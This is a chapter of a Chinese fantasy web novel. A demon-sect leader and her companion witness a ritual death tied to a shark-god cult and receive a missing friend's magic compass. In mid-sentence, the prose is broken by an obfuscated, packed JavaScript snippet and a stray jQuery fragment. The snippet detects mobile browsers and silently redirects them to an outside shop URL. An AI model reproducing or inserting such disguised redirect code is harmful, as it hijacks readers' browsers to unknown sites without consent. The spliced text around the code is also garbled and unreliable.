陶星毓嘴里叽里咕噜念了几句“福生无量天尊”“急急如律令”,乱七八糟的圣号和奇怪的姿势,终于引来了身前婆婆的目光。
“姑娘,拜神不是这么拜的。”
婆婆的竹篮空了,小庙前的供品满满当当。
陶星毓瞪圆了眼,一脸懵懂地问道:“婆婆,我看大家都是这么拜的……”
“你们是外地人吧?”
那婆婆佝偻着身子在陶星毓身侧跪下,虔诚地朝小庙的方向磕了磕头。
陶星毓没有回话,婆婆却是自顾自地说了下去。
“外地人就不奇怪啊,我们这里的鲛神,灵的很,慕名而来的人可不少。”
“可鲛神,不是你这样拜的,这样鲛神是听不见你愿望的。”
“那要怎样才能被听见呀?”
陶星毓装傻的技能已达炉火纯青。
那婆婆好似格外满意有人对她口中的鲛神有意,闭上了眼深吸了一口气,才开口道:“若有事求神,只要将指尖一滴血滴在供品上,将你的生辰八字写在纸上烧了去,鲛神就会听到你的愿望……”
什么邪魔外道……
陶星毓听得在角落里直皱眉头。
她从来没听过这样的求神法……
身侧的婆婆还在念叨着鲛神的好,陶星毓连忙收拾好面上的情绪,正要开口再问些别的时,一偏头,就看到那婆婆眉心忽然冒出一抹诡异的红光。
红光笼罩了婆婆整张脸,陶星毓一时愣在了原地,身后的梁天青眼疾手快拉着她起身往后退,与那婆婆保持了一定的距离。
没等陶星毓回过神来,方才神采奕奕的婆婆身子忽然缩起来,像一只被吸干了水分的柑橘,七窍哗哗向外流着血,一眨眼的功夫,那血便染湿了方才陶星毓的跪拜之地……
就在陶星毓想要上前一探究竟时,巷子口非常不合时宜地响起了脚步声,陶星毓狠狠拧着眉,反手抓上梁天青的手。
“啧,快走。”
陶星毓隐去了自己和梁天青的气息,拉着梁天青一跃飞起上了旁侧的屋顶。
两人在屋顶上蹲下。
脚步声渐近,几个身着黑色斗篷的人从巷口走来,他们中为首的一人站在婆婆的尸体旁,没有一丝意外之意,为首的人一挥手,他身后一人便从怀中拿出一个小瓶子上前。
那人打开了小瓶子,在婆婆的尸体上撒了点药粉,药粉沾上尸身那一刻,尸体顷刻化水渗入了土地中……
看了那群人的所作所为,一股恶寒冒上来,陶星毓紧皱着眉头,握着梁天青手用了些力。
那群人做完这一切,又十分谨慎地在四周探查了一番,才浩浩荡荡离开了。
只是他们转身离开之时,忽有一阵微风吹来,为首那人的黑色斗篷被吹开一角,青灰色的皮肤暴露在空气中,只一眼,陶星毓看到了那人脸上的鳞片……
这些奇怪的事情,果真和鲛人一族脱不了干系。
直到那群人的身影消失不见,陶星毓才拉着梁天青起身。
霁南镇的千奇百怪终于在此刻达到了巅峰,陶星毓也没了再看下去的想法,她们出来的时辰不短,也是时候回去了。
两人在镇上一路穿梭,在天色微微擦黑时回到了客栈的后院,回到了她们离开时途经之地。
只是离开时一片寂静的后院,此刻却是多了一位不速之客。
后院空荡荡的马棚不知何时栓了一匹黑色的马,一把长刀随意地立在一旁,长刀的主人手中抓着草料递在黑马的嘴边,黑马打了个响鼻儿,极为亲昵地蹭了蹭身前人。
喂马的人赫然是陶星毓白天在客栈见到的那位女子,一身黑色的劲装融在阴影中,若不是细细碎碎的声响,过路的人几乎要忽视了她。
她乌黑的长发高高束在脑后,小臂上层层缠绕着白色的布条。
在陶星毓的目光看来时,那名女子才从黑马处抽身,随意地拍了拍手上的灰,在梁天青警惕的目光下,一步步走向她们。
女子的左侧眉骨上横亘着一条长长的疤痕,直至眼角,那道疤痕把她修长的眉切断,配上她凌冽的目光,整个人看上去格外的凶。
女子在她们身前五六尺处停下。
两两相望之下,那女子忽地朝两人扬起灿烂的笑,虽然那条疤痕衬得她实在算不上温良。
“少侠可有要事?”
陶星毓没从她身上感受到恶意,轻轻捏了捏梁天青的手指示意她稍安勿躁,抬眼客客气气问身前的人。
那女子似是大梦初醒一般,豪爽地抬手抱拳,朝两人行了一礼。
“敢为阁下可是魔教教主陶星毓大人?”
陶星毓在来的路上就和梁天青一齐将化形解了,那女子的话甫一问出口,陶星毓抬手轻轻摸了摸眉心的痣。
“你认得我?”
“眉心一点红痣,桃花眼,何人不知,教主大人。”
那女子嘴角勾起一个大大的笑,继续道:“旁边这位想来便是梁护法吧?”
她朝梁天青弯了弯腰,梁天青站在原地纹丝未动,神色未变,远远看去就像一尊无情的冰雕。
那女子倒也不介意梁天青的态度,收敛了脸上的笑容,又上前了几步,压低声音道:“大人,可否借一步说话?”
一边说着,她还一边小心翼翼的环顾了四周。
陶星毓不明白她葫芦里卖的什么药,但此人的修为在她眼中一览无余,想来也造不成什么坏结果,微一沉吟,陶星毓朝她点了点头。
三人寻了客栈后的一个偏僻的角落,陶星毓一挥手在身侧凝起一个护罩,才对着她点了点头。
“此物可隔绝外界窥视,有什么事情,请说吧。”
听了她的话,那女子才放下心来,肃着脸,从怀中摸出来一个小小的圆盘,递在陶星毓的眼前。
“这是纪前辈交代我要交给你们的东西。”
纪轻羽的罗盘……
看到小圆盘时,陶星毓立时便认了出来,纪轻羽的罗盘平常可是寸步不离身的,她竟然把罗盘交给了别人,这里到底发生了什么,纪轻羽到底遇到了什么……
心底的疑惑太多,陶星毓勉强将疑问压在心底,抬手接过身前女子递来的罗盘。
陶星毓盯着罗
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17753022|203220||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
盘看了一刻,随后抬头问身前人:“她有说什么吗?”
这话一出,身前的女子愣了一下,随即反应过来:“纪前辈说,只要将这罗盘交给你,你会知道的,多余的她没有给我说太多……”
那女子微微皱着眉,回忆着之前纪轻羽同她说的话。
“哦对了,还有一件事情……”
陶星毓被这女子的大喘气惊了一下,她面上不显,适时地露出疑惑的表情。
“纪前辈随着这个罗盘,还将一颗玉珠交给了我……”
玉珠……
陶星毓忽然想起了和寻灵手中那颗鲛珠。
“纪前辈说那珠子要交给长行宫的一个叫和寻灵的姑娘。我要等你们来此地,便寻了个信得过的姑娘送了过去……不过,我不知道这事跟这罗盘有没有什么关系。”
这两件东西是纪轻羽同时交给她的,看着陶星毓凝重的面容,以及她已经一连好久都没见到纪轻羽了,她想了想还是将这事说了出来。
“那个,教主大人,您知道纪前辈去哪了吗,我还欠她点银钱没还呢……”
“我也在找她。”
那女子听了她的话,沉默了一会儿,才缓缓笑着开口:“好,若是寻到纪前辈了,麻烦您告知我一声,这个月我都在霁南这家客栈里。”
“多谢。”
在那女子转身离开前,陶星毓托着罗盘,罗盘在她手中闪着莹莹的白光,她朝那女子真诚地道了谢。
“客气,我也只是报恩而已。”
那女子倒是随意地朝她摆摆手,背影潇洒地离开了后院。
陶星毓和梁天青带着罗盘原路翻窗回了厢房内。
一进入厢房,陶星毓便一挥手带上了所有开的窗,在门窗上设了阵法,确保不会有人忽然闯进来后,她才从袖中拿出了罗盘。
陶星毓一个响指唤出了早就按捺不住的幻灵。
一道幽紫的光闪过,幻灵轻轻落在了陶星毓的肩头上。
陶星毓托着浮在手心上的罗盘递到幻灵面前,轻声道:“看看?”
陶星毓自己也能将灵力注入罗盘之中,唤醒罗盘,但她可没忘记当初碰这罗盘后狼狈的干呕,虽然如今的情况与之前不同,但她还是习惯小心为上。
交给幻灵倒是安稳一些,毕竟可不能让幻灵白白顶着脑袋后面圆圆的罗盘,一点用场也没派上。
幻灵两只小球手托了托脑袋后面的圆盘,眨着豆豆眼点了点头。
随着幻灵动作,它的小球手贴上了罗盘正中间的两级八卦阵,一道幽紫色的灵力顺着八卦阵游走,自一点圆心慢慢蔓延至罗盘四周,直到属于幻灵的气息沾满了整个罗盘。
紫色的淡光夹杂着金色的光芒,“咔咔”的机关转动声在耳边响起,中心的八卦阵飞速旋转着,待亮光散去,八卦阵也停下了旋转,纪轻羽的罗盘上浮起一片金印。
而这浮起的金色印记赫然组成了一张简单的地图,一缕细细的金色丝线竖在罗盘正中央摇摇晃晃。
这突如其来的变化,惹得陶星毓不禁皱起了眉。
一波未平,一波又起……